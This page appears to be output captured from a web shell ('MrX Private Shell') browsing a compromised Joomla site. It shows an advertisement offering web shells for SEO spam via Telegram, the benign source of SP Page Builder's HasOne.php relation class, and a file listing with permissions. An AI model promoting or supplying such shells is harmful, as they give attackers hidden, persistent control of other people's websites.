__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2024 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
namespace JoomShaper\SPPageBuilder\DynamicContent\Relations;
defined('_JEXEC') or die;
use JoomShaper\SPPageBuilder\DynamicContent\Model;
class HasOne extends Relations
{
/** @inheritDoc */
public function __construct(Model $parent, Model $related, string $foreignKey, string $ownerKey)
{
parent::__construct($parent, $related, $foreignKey, $ownerKey);
}
/** @inheritDoc */
public function getResults()
{
$ownerKey = $this->getOwnerKey();
return $this->getQuery()->where($this->foreignKey, $this->parent->{$ownerKey})->first();
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| BelongsTo.php | File | 850 B | 0664 |
|
| HasMany.php | File | 805 B | 0664 |
|
| HasOne.php | File | 806 B | 0664 |
|
| Relations.php | File | 3.2 KB | 0664 |
|